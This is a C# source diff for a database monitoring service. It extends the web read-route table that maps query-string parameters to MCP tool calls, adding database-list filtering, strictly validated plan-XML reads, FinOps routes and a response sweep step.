@@ -3471,13 +5692,13 @@ cannot parse exactly rather than silently matching nothing. */
             ["get_pg_log_events"] = (c, pg, an) => DarlingMcpPgLogEventTools.GetPgLogEvents(pg, Server(c), Hours(c, 24), Str(c, "family"), Str(c, "min_severity"), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_wait_trend"] = (c, pg, an) => DarlingMcpPgTrendTools.GetPgWaitTrend(pg, Server(c), Str(c, "wait_event"), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_query_duration_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpPgTrendTools.GetPgQueryDurationTrend(pg, Server(c), Str(c, "queryid"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpPgTrendTools.GetPgQueryDurationTrend(pg, Server(c), Str(c, "queryid"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
             ["get_pg_io_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpPgTrendTools.GetPgIoTrend(pg, Server(c), Str(c, "backend_type"), Str(c, "context"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpPgTrendTools.GetPgIoTrend(pg, Server(c), Str(c, "backend_type"), Str(c, "context"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
             ["get_pg_database_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpPgTrendTools.GetPgDatabaseTrend(pg, Server(c), Str(c, "database"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpPgTrendTools.GetPgDatabaseTrend(pg, Server(c), Str(c, "database"), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
             ["get_pg_replication_stats"] = (c, pg, an) => DarlingMcpPgReplicationStatsTools.GetPgReplicationStats(pg, Server(c), Hours(c, 24), Rows(c, "limit", 25), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_blocking"] = (c, pg, an) => DarlingMcpPgBlockingTools.GetPgBlocking(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
@@ -3488,7 +5709,7 @@ cannot parse exactly rather than silently matching nothing. */
             ["get_wait_stats"] = (c, pg, an) => DarlingMcpDataTools.GetWaitStats(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_wait_trend"] = (c, pg, an) => RequireText(c, "wait_type", out var waitType)
                 ? (OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                    ? DarlingMcpDataTools.GetWaitTrend(pg, waitType, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                    ? DarlingMcpDataTools.GetWaitTrend(pg, waitType, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                     : UnparseableParam("bucket_minutes"))
                 : MissingParam("wait_type"),
             ["get_wait_types"] = (c, pg, an) => DarlingMcpDataTools.GetWaitTypes(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
@@ -3499,23 +5720,36 @@ cannot parse exactly rather than silently matching nothing. */
                should read — and bind bucket_minutes, refusing a value that is not a number rather than quietly
                sizing the points itself (the OptionalDouble rule). */
             ["get_file_io_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpTrendTools.GetFileIoTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, Str(c, "database_name"), TrendBudget.Chart, c.RequestAborted)
+                ? (DatabaseNames(c) is { } databases
+                    ? DarlingMcpTrendTools.GetFileIoTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, databases, TrendBudget.Chart, cancellationToken: c.RequestAborted)
+                    : DatabaseNamesRefusal(c))
                 : UnparseableParam("bucket_minutes"),
             ["get_memory_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpTrendTools.GetMemoryTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpTrendTools.GetMemoryTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
+            ["get_server_trend"] = (c, pg, an) => RequireText(c, "metric", out var serverTrendMetric)
+                ? (OptionalInt(c, "bucket_minutes", out var bucketMinutes)
+                    ? DarlingMcpServerTrendTools.GetServerTrend(pg, serverTrendMetric, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, Str(c, "clerk_types"), Str(c, "names"), TrendBudget.Chart, cancellationToken: c.RequestAborted)
+                    : UnparseableParam("bucket_minutes"))
+                : MissingParam("metric"),
             ["get_perfmon_trend"] = (c, pg, an) => RequireText(c, "counter_name", out var counter)
                 ? (OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                    ? DarlingMcpTrendTools.GetPerfmonTrend(pg, counter, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                    ? DarlingMcpTrendTools.GetPerfmonTrend(pg, counter, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                     : UnparseableParam("bucket_minutes"))
                 : MissingParam("counter_name"),
             ["get_procedure_duration_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpTrendTools.GetProcedureDurationTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? (DatabaseNames(c) is { } databases
+                    ? DarlingMcpTrendTools.GetProcedureDurationTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, databases, TrendBudget.Chart, cancellationToken: c.RequestAborted)
+                    : DatabaseNamesRefusal(c))
                 : UnparseableParam("bucket_minutes"),
             ["get_query_duration_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpTrendTools.GetQueryDurationTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? (DatabaseNames(c) is { } databases
+                    ? DarlingMcpTrendTools.GetQueryDurationTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, databases, TrendBudget.Chart, cancellationToken: c.RequestAborted)
+                    : DatabaseNamesRefusal(c))
                 : UnparseableParam("bucket_minutes"),
-            ["get_query_store_duration_trend"] = (c, pg, an) => DarlingMcpTrendTools.GetQueryStoreDurationTrend(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_query_store_duration_trend"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpTrendTools.GetQueryStoreDurationTrend(pg, Server(c), Hours(c, 24), AsOf(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_query_trend"] = (c, pg, an) => RequireText(c, "query_hash", out var queryHash)
                 ? (RequireText(c, "database_name", out var db)
                     ? DarlingMcpTrendTools.GetQueryTrend(pg, queryHash, db, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted)
@@ -3530,6 +5764,7 @@ sizing the points itself (the OptionalDouble rule). */
             ["get_ag_health"] = (c, pg, an) => DarlingMcpAgTools.GetAgHealth(pg, Server(c), Rows(c, "limit", DarlingMcpAgTools.DefaultGroupLimit), c.RequestAborted),
             ["get_store_metrics"] = (c, pg, an) => DarlingMcpStoreMetricsTools.GetStoreMetrics(pg, QueryInt(c, "days_back", null, 30), Str(c, "object_kind"), Str(c, "object_name"), Rows(c, "limit", DarlingMcpStoreMetricsTools.DefaultLimit), c.RequestAborted),
             ["get_store_log"] = (c, pg, an) => DarlingMcpStoreLogTools.GetStoreLog(pg, Hours(c, 24), Rows(c, "limit", DarlingMcpStoreLogTools.DefaultRetainedLimit), AsOf(c), c.RequestAborted),
+            ["get_store_query_history"] = (c, pg, an) => DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistory(pg, Str(c, "query_id"), Str(c, "role"), Hours(c, DarlingMcpStoreQueryHistoryTools.DefaultHours), Rows(c, "top", DarlingMcpStoreQueryHistoryTools.DefaultTop), logger: logger, cancellationToken: c.RequestAborted),
             ["get_store_query_stats"] = (c, pg, an) => DarlingMcpStoreQueryStatsTools.GetStoreQueryStats(pg, Str(c, "role"), Str(c, "order_by") ?? "total_time", Rows(c, "top", DarlingMcpStoreQueryStatsTools.DefaultTop), QueryBool(c, "full_text", false), c.RequestAborted),
             /* #4214 part 2: postgresConfig rides by closure (this method's own doc comment), the same way
                logger does for get_sweep_reports two screens up. StoreHostProfileCache.Shared as a direct
@@ -3540,6 +5775,7 @@ c.RequestAborted now reaches the gather via GetOrGatherAsync's linked token. */
             ["get_collector_cost"] = (c, pg, an) => DarlingMcpCollectorCostTools.GetCollectorCost(pg, QueryInt(c, "days_back", null, 7), Str(c, "collector_name"), c.RequestAborted),
             ["get_collector_stall_probes"] = (c, pg, an) => DarlingMcpStallProbeTools.GetCollectorStallProbes(pg, Server(c), QueryInt(c, "days_back", null, 7), Rows(c, "limit", DarlingMcpStallProbeTools.DefaultLimit), c.RequestAborted),
             ["get_oversized_plan_backlog"] = (c, pg, an) => DarlingMcpOversizedPlanBacklogTools.GetOversizedPlanBacklog(pg, Server(c), QueryBool(c, "include_rows", false), Rows(c, "limit", DarlingMcpOversizedPlanBacklogTools.DefaultLimit), c.RequestAborted),
+            ["get_slow_reads"] = (c, pg, an) => DarlingMcpSlowReadTools.GetSlowReads(pg, Hours(c, DarlingMcpSlowReadTools.DefaultHours), Server(c), Str(c, "surface"), Str(c, "route"), Rows(c, "limit", DarlingMcpSlowReadTools.DefaultLimit), false, c.RequestAborted),
             ["get_read_latency"] = (c, pg, an) => DarlingMcpReadLatencyTools.GetReadLatency(pg, Hours(c, DarlingMcpReadLatencyTools.DefaultHours), Str(c, "surface"), Str(c, "route"), Rows(c, "limit", DarlingMcpReadLatencyTools.DefaultLimit), c.RequestAborted),
 
             /* ── latch / spinlock ── */
@@ -3552,9 +5788,15 @@ c.RequestAborted now reaches the gather via GetOrGatherAsync's linked token. */
             ["get_resource_semaphore"] = (c, pg, an) => DarlingMcpMemoryGrantTools.GetResourceSemaphore(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
 
             /* ── object / index stats ── */
-            ["get_database_sizes"] = (c, pg, an) => DarlingMcpObjectStatsTools.GetDatabaseSizes(pg, Server(c), cancellationToken: c.RequestAborted),
-            ["get_pvs_stats"] = (c, pg, an) => DarlingMcpPvsTools.GetPvsStats(pg, Server(c), QueryInt(c, "trend_hours_back", null, 0), c.RequestAborted),
-            ["get_index_usage"] = (c, pg, an) => DarlingMcpObjectStatsTools.GetIndexUsage(pg, Server(c), Str(c, "database_name"), Rows(c, "limit", 200), cancellationToken: c.RequestAborted),
+            ["get_database_sizes"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpObjectStatsTools.GetDatabaseSizes(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_pvs_stats"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpPvsTools.GetPvsStats(pg, Server(c), QueryInt(c, "trend_hours_back", null, 0), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_index_usage"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpObjectStatsTools.GetIndexUsage(pg, Server(c), databases, Rows(c, "limit", 200), c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #4258: limit defaults to 75 on the MCP signature now (was an uncapped-looking 200-row hard
                fetch with no parameter at all), sized under the shared response budget. The web viewer has
                always effectively received that old 200-row fetch (there was no smaller cap anywhere in the
@@ -3562,8 +5804,13 @@ c.RequestAborted now reaches the gather via GetOrGatherAsync's linked token. */
                for the identical reason - rather than silently dropping to the new MCP default. 200 is well
                under both McpHelpers.MaxTop and MaxRowLimit (1000 each), so the value is never refused or
                reclamped by either validation layer. */
-            ["get_object_locking"] = (c, pg, an) => DarlingMcpObjectStatsTools.GetObjectLocking(pg, Server(c), Rows(c, "limit", 200), registryState, c.RequestAborted),
-            ["get_table_index_sizes"] = (c, pg, an) => DarlingMcpObjectStatsTools.GetTableIndexSizes(pg, Server(c), cancellationToken: c.RequestAborted),
+            ["get_object_locking"] = (c, pg, an) => HasObjectLockingSelector(c) ? ObjectLockingDetail(c, pg)
+                : DatabaseNames(c) is { } databases
+                    ? DarlingMcpObjectStatsTools.GetObjectLockingWithHeatAsync(pg, Server(c), Rows(c, "limit", 200), registryState, databases, c.RequestAborted)
+                    : DatabaseNamesRefusal(c),
+            ["get_table_index_sizes"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpObjectStatsTools.GetTableIndexSizes(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
 
             /* ── plan cache / scheduler ── */
             ["get_cpu_scheduler_pressure"] = (c, pg, an) => DarlingMcpPlanCacheSchedulerTools.GetCpuSchedulerPressure(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
@@ -3571,14 +5818,78 @@ reclamped by either validation layer. */
 
             /* ── jobs ── */
             ["get_running_jobs"] = (c, pg, an) => DarlingMcpJobTools.GetRunningJobs(pg, Server(c), c.RequestAborted),
+            ["get_job_history"] = (c, pg, an) => DarlingMcpJobTools.GetJobHistory(pg, Server(c), Hours(c, 24), Str(c, "job_name"), Str(c, "status"), Str(c, "category"), Rows(c, "limit", 100), as_of: AsOf(c), cancellationToken: c.RequestAborted),
 
             /* ── stored plan XML (READ; the analyze_*_plan compute family stays excluded) ── */
             ["get_plan_xml"] = (c, pg, an) => RequireText(c, "query_hash", out var queryHash)
-                ? DarlingMcpPlanTools.GetPlanXml(pg, queryHash, Server(c), Str(c, "database_name"), c.RequestAborted)
+                ? WrapPlanXmlAsync(DarlingMcpPlanTools.GetPlanXml(pg, queryHash, Server(c), Str(c, "database_name"), c.RequestAborted), queryHash, Str(c, "database_name"))
                 : MissingParam("query_hash"),
 
+            /* #5228: the grid-row plan reads. A key that is present but unreadable is REFUSED, never defaulted — a
+               plan fetched for the wrong row is worse than none. */
+            ["get_query_store_plan_xml"] = (c, pg, an) => !RequireText(c, "database_name", out var qsDatabase)
+                ? MissingParam("database_name")
+                : !OptionalLong(c, "query_id", out var qsQueryId) ? UnparseableParam("query_id")
+                : qsQueryId is null ? MissingParam("query_id")
+                : !OptionalLong(c, "plan_id", out var qsPlanId) ? UnparseableParam("plan_id")
+                : WrapPlanXmlAsync(DarlingMcpPlanTools.GetQueryStorePlanXml(pg, qsDatabase, qsQueryId.Value, Server(c), qsPlanId, c.RequestAborted),
+                    PlanIdentity(("database_name", qsDatabase), ("query_id", qsQueryId), ("plan_id", qsPlanId))),
+            ["get_procedure_plan_xml"] = (c, pg, an) => !RequireText(c, "sql_handle", out var procSqlHandle)
+                ? MissingParam("sql_handle")
+                : !DarlingMcpPlanTools.IsSqlHandle(procSqlHandle) ? UnparseableParam("sql_handle", "Expected a hex sql_handle such as 0x0300...")
+                : WrapPlanXmlAsync(DarlingMcpPlanTools.GetProcedurePlanXml(pg, procSqlHandle, Server(c), c.RequestAborted),
+                    PlanIdentity(("sql_handle", procSqlHandle))),
+            ["get_active_query_plan_xml"] = (c, pg, an) => !RequireText(c, "collection_time", out var snapTime)
+                ? MissingParam("collection_time")
+                : !OptionalInt(c, "session_id", out var snapSession) ? UnparseableParam("session_id")
+                : snapSession is null ? MissingParam("session_id")
+                : !OptionalInt(c, "request_id", out var snapRequest) ? UnparseableParam("request_id")
+                : !DarlingMcpPlanTools.TryParseCollectionTime(snapTime, out _) ? UnparseableParam("collection_time", "Expected the collection_time exactly as get_active_queries returned it (ISO 8601).")
+                : First(c, "live") is { } liveText && !bool.TryParse(liveText, out _) ? UnparseableParam("live", "Expected true or false.")
+                : WrapPlanXmlAsync(DarlingMcpPlanTools.GetActiveQueryPlanXml(pg, snapTime, snapSession.Value, Server(c), snapRequest ?? 0, QueryBool(c, "live", false), c.RequestAborted),
+                    PlanIdentity(("collection_time", snapTime), ("session_id", snapSession), ("request_id", snapRequest ?? 0), ("live", QueryBool(c, "live", false)))),
+            /* #5233: the repro script. A key that is present but unreadable is refused, never defaulted. The JSON passes
+               through unwrapped. */
+            ["get_query_repro_script"] = (c, pg, an) => !RequireText(c, "kind", out var reproKind)
+                ? MissingParam("kind")
+                : !OptionalLong(c, "query_id", out var reproQueryId) ? UnparseableParam("query_id")
+                : !OptionalLong(c, "plan_id", out var reproPlanId) ? UnparseableParam("plan_id")
+                : !OptionalInt(c, "session_id", out var reproSession) ? UnparseableParam("session_id")
+                : !OptionalInt(c, "request_id", out var reproRequest) ? UnparseableParam("request_id")
+                : DarlingMcpPlanTools.GetQueryReproScript(pg, reproKind, Server(c), Str(c, "database_name"), Str(c, "query_hash"),
+                    reproQueryId, reproPlanId, Str(c, "collection_time"), reproSession, request_id: reproRequest ?? 0, cancellationToken: c.RequestAborted),
+
+            /* #5236: the Blocking and Deadlocks grids' plan reads, bound by the same rule: a key that is present but
+               unreadable is REFUSED, never defaulted. Both times are the row's strings and are matched for equality, so
+               they are checked against the tool's own parse here and sent on untouched. An omitted ecid is 0, as the grid
+               carries it, and an omitted side is the blocked side; the tool owns the refusal of any other side, so the web
+               and MCP surfaces cannot disagree about what one means. The identity echoes the side as the tool read it. The
+               row's database_name travels on both reads, so two databases that share every other part of the key (an Azure
+               master target collects several under one server) each read their own plan; a row without one sends none. */
+            ["get_blocking_plan_xml"] = (c, pg, an) => !RequireText(c, "event_time", out var blockEventTime)
+                ? MissingParam("event_time")
+                : !OptionalInt(c, "blocked_spid", out var blockedSpid) ? UnparseableParam("blocked_spid")
+                : blockedSpid is null ? MissingParam("blocked_spid")
+                : !OptionalInt(c, "blocking_spid", out var blockingSpid) ? UnparseableParam("blocking_spid")
+                : blockingSpid is null ? MissingParam("blocking_spid")
+                : !OptionalInt(c, "blocked_ecid", out var blockedEcid) ? UnparseableParam("blocked_ecid")
+                : !OptionalInt(c, "blocking_ecid", out var blockingEcid) ? UnparseableParam("blocking_ecid")
+                : !DarlingMcpPlanTools.TryParseCollectionTime(blockEventTime, out _) ? UnparseableParam("event_time", "Expected the event_time exactly as get_blocking returned it (ISO 8601).")
+                : WrapPlanXmlAsync(DarlingMcpPlanTools.GetBlockingPlanXml(pg, blockEventTime, blockedSpid.Value, blockingSpid.Value, Server(c), blockedEcid ?? 0, blockingEcid ?? 0, Str(c, "side"), Str(c, "database_name"), c.RequestAborted),
+                    PlanIdentity(("event_time", blockEventTime), ("blocked_spid", blockedSpid), ("blocked_ecid", blockedEcid ?? 0), ("blocking_spid", blockingSpid), ("blocking_ecid", blockingEcid ?? 0),
+                        ("side", string.Equals(Str(c, "side"), "blocking", StringComparison.OrdinalIgnoreCase) ? "blocking" : "blocked"), ("database_name", Str(c, "database_name")))),
+            ["get_deadlock_plan_xml"] = (c, pg, an) => !RequireText(c, "collection_time", out var deadlockCollection)
+                ? MissingParam("collection_time")
+                : !RequireText(c, "deadlock_time", out var deadlockTime) ? MissingParam("deadlock_time")
+                : !DarlingMcpPlanTools.TryParseCollectionTime(deadlockCollection, out _) ? UnparseableParam("collection_time", "Expected the collection_time exactly as get_deadlocks returned it (ISO 8601).")
+                : !DarlingMcpPlanTools.TryParseCollectionTime(deadlockTime, out _) ? UnparseableParam("deadlock_time", "Expected the deadlock_time exactly as get_deadlocks returned it (ISO 8601).")
+                : WrapPlanXmlAsync(DarlingMcpPlanTools.GetDeadlockPlanXml(pg, deadlockCollection, deadlockTime, Server(c), Str(c, "victim_process_id"), Str(c, "database_name"), c.RequestAborted),
+                    PlanIdentity(("collection_time", deadlockCollection), ("deadlock_time", deadlockTime), ("victim_process_id", Str(c, "victim_process_id")), ("database_name", Str(c, "database_name")))),
+
             /* ── default trace ── */
-            ["get_default_trace_events"] = (c, pg, an) => DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(pg, Server(c), Hours(c, 24), Rows(c, "limit", 100), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_default_trace_events"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(pg, Server(c), Hours(c, 24), Rows(c, "limit", 100), databases, AsOf(c), null, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
 
             /* ── system_health parse-on-read family ── */
             ["get_health_parser_cpu_tasks"] = (c, pg, an) => DarlingMcpHealthParserTools.GetCPUTasks(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
@@ -3587,9 +5898,25 @@ reclamped by either validation layer. */
             ["get_health_parser_memory_conditions"] = (c, pg, an) => DarlingMcpHealthParserTools.GetMemoryConditions(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_health_parser_memory_node_oom"] = (c, pg, an) => DarlingMcpHealthParserTools.GetMemoryNodeOOM(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_health_parser_scheduler_issues"] = (c, pg, an) => DarlingMcpHealthParserTools.GetSchedulerIssues(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_health_parser_severe_errors"] = (c, pg, an) => DarlingMcpHealthParserTools.GetSevereErrors(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_health_parser_severe_errors"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpHealthParserTools.GetSevereErrors(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), databases, AsOf(c), null, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_health_parser_significant_waits"] = (c, pg, an) => DarlingMcpHealthParserTools.GetSignificantWaits(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_health_parser_system_health"] = (c, pg, an) => DarlingMcpHealthParserTools.GetSystemHealth(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+            ["get_finops_inventory"] = (c, pg, an) => DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(pg, First(c, "view") ?? "", QueryInt(c, "limit", null, DarlingMcpFinOpsInventoryTools.DefaultLimit), QueryBool(c, "include_removed", false), c.RequestAborted),
+            ["get_finops_recommendations"] = (c, pg, an) => DarlingMcpFinOpsRecommendationsTools.GetFinOpsRecommendations(pg, Server(c), c.RequestAborted),
+            // FinOps web parity (#4843), set A ends.
+            // Each set belongs to one series of changes. Append to your own set only,
+            // so the two series never edit the same lines of this read list.
+            // Entries keep the read list's existing order and form.
+            // Set A and set B are separated on purpose: keep this gap.
+            //
+            //
+            //
+            // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+            ["get_finops"] = (c, pg, an) => DarlingMcpFinOpsTools.GetFinOps(pg, First(c, "view") ?? "", Server(c), Hours(c, 24), QueryInt(c, "limit", null, 10), Str(c, "database_name"), QueryBool(c, "full_text", false), Str(c, "object_name"), c.RequestAborted),
+            // FinOps web parity (#4843), set B ends.
         };
 
         /* #4442: the test-only extra entry, added ONLY when a test set it -- never in a production
@@ -3699,13 +6026,22 @@ internal static ToolResponseKind ClassifyToolResponse(string result)
     /// The bare <c>"Error during "</c> arm <see cref="ClassifyToolResponse"/> keeps for an un-migrated producer
     /// maps here too, for the same reason.</para>
     /// </summary>
-    internal static IResult ToHttpResult(string result, string route, ILogger logger, long elapsedMs) => ClassifyToolResponse(result) switch
+    internal static IResult ToHttpResult(string result, string route, ILogger logger, long elapsedMs)
     {
-        ToolResponseKind.JsonPassthrough => Results.Text(result, "application/json"),
-        ToolResponseKind.Refusal => Results.Text(result, "application/json", statusCode: StatusCodes.Status400BadRequest),
-        ToolResponseKind.ServerError => ServerErrorResult(McpHelpers.ErrorMessageOf(result), route, logger, elapsedMs),
-        _ => Results.Json(new { error = result }, statusCode: StatusCodes.Status400BadRequest),
-    };
+        /* #4348: the statement filter's web sweep. It runs BEFORE ClassifyToolResponse, so the error sentence
+           ServerErrorResult echoes is swept too, and a body it cannot read is never written. */
+        var swept = DarlingWebStatementSweep.Apply(result);
+        if (swept.Refused) return DarlingWebStatementSweep.Refusal(route, logger, elapsedMs);
+        result = swept.Text;
+
+        return ClassifyToolResponse(result) switch
+        {
+            ToolResponseKind.JsonPassthrough => Results.Text(result, "application/json"),
+            ToolResponseKind.Refusal => Results.Text(result, "application/json", statusCode: StatusCodes.Status400BadRequest),
+            ToolResponseKind.ServerError => ServerErrorResult(McpHelpers.ErrorMessageOf(result), route, logger, elapsedMs),
+            _ => Results.Json(new { error = result }, statusCode: StatusCodes.Status400BadRequest),
+        };
+    }
 
     /// <summary>The ServerError arm's body, factored out so both <see cref="ToHttpResult"/> and the
     /// <c>/api/read/*</c> loop's binding-layer catch (which holds the real <see cref="Exception"/>, not just
@@ -3722,6 +6058,45 @@ internal static IResult ServerErrorResult(string sentence, string route, ILogger
     /// which lets a tool auto-select a sole configured server exactly as the MCP surface does.</summary>
     private static string? Server(HttpContext context) => First(context, "server") ?? First(context, "server_name");
 
+    /* ── the Locking page's index detail selector (#5311): web-only, never an MCP parameter ── */
+
+    private static readonly string[] ObjectLockingSelectorKeys = ["detail_database", "detail_schema", "detail_table", "detail_index"];
+
+    /// <summary>True when the request carries any <c>detail_*</c> selector key: the read then answers ONE index's four
+    /// counters (<see cref="ObjectLockingDetail"/>) instead of the list. Without one the list read is untouched.</summary>
+    private static bool HasObjectLockingSelector(HttpContext context) =>
+        ObjectLockingSelectorKeys.Any(key => context.Request.Query.ContainsKey(key));
+
+    /// <summary>
+    /// #5311: the detail read of <c>get_object_locking</c>. The index is named exactly by <c>detail_database</c>,
+    /// <c>detail_schema</c> and <c>detail_table</c> (each required) and <c>detail_index</c> (absent names a heap); each
+    /// goes to the store as a bound parameter. A missing or blank name, a name over a <c>sysname</c>'s 128 characters or
+    /// one holding NUL is refused with the usual <c>invalid</c> envelope before the store is touched; a blank database
+    /// would otherwise be the "every database" filter, and a selector never widens.
+    /// </summary>
+    private static Task<string> ObjectLockingDetail(HttpContext context, NpgsqlDataSource postgres)
+    {
+        foreach (var key in new[] { "detail_database", "detail_schema", "detail_table" })
+        {
+            var v = First(context, key);
+            if (v is null || string.IsNullOrWhiteSpace(v)) return MissingParam(key);
+        }
+
+        foreach (var key in ObjectLockingSelectorKeys)
+        {
+            var v = First(context, key);
+            if (v is null) continue;
+            if (v.Contains('\0'))
+                return Task.FromResult(McpHelpers.Refusal(key, $"A {key} value holds a character an object name cannot hold."));
+            if (v.Length > MaxDatabaseNameLength)
+                return Task.FromResult(McpHelpers.Refusal(key, $"A {key} value is {v.Length} characters long; an object name is at most {MaxDatabaseNameLength} characters."));
+        }
+
+        return DarlingMcpObjectStatsTools.GetObjectLockingDetailAsync(
+            postgres, Server(context), First(context, "detail_database")!, First(context, "detail_schema")!,
+            First(context, "detail_table")!, First(context, "detail_index"), context.RequestAborted);
+    }
+
     /// <summary>The hours-back window from <c>?hours=</c> (or the tool's own <c>?hours_back=</c>), else the tool's default.</summary>
     private static int Hours(HttpContext context, int def) => QueryInt(context, "hours", "hours_back", def);
 
@@ -3736,6 +6111,150 @@ internal static IResult ServerErrorResult(string sentence, string route, ILogger
     /// <summary>An optional text parameter; null when absent or empty (so the tool sees its own default).</summary>
     private static string? Str(HttpContext context, string key) => First(context, key);
 
+    /* ── the database list (#5245): repeated ?database_name= keys, one per chosen database ── */
+
+    /// <summary>The query key the picker's database list travels under, once per chosen database.</summary>
+    private const string DatabaseNameKey = "database_name";
+
+    /// <summary>The most databases one request may name, counted AFTER de-duplication.</summary>
+    internal const int MaxDatabaseNames = 50;
+
+    /// <summary>The longest database name a request may carry: a <c>sysname</c> is 128 characters.</summary>
+    internal const int MaxDatabaseNameLength = 128;
+
+    /// <summary>
+    /// The most encoded bytes the <c>database_name</c> part of a query may take: <see cref="DatabaseKeyBytes"/>
+    /// plus <c>encodeURIComponent</c>'s length of each name, summed over the distinct names. The picker (a later
+    /// part of #5245) refuses a check that would pass it, so a hand-built request is the only way to reach this
+    /// refusal, and 4,096 keeps a request well inside Kestrel's 8 KB request line.
+    /// </summary>
+    internal const int MaxDatabaseQueryBytes = 4096;
+
+    /// <summary>The bytes <c>&amp;database_name=</c> takes in front of every name (1 + 13 + 1).</summary>
+    internal const int DatabaseKeyBytes = 15;
+
+    /// <summary>
+    /// The databases a read is asked about, from the REPEATED <c>?database_name=</c> keys, as a
+    /// <see cref="DatabaseFilter"/>; <c>null</c> when the request has to be REFUSED. Spell it
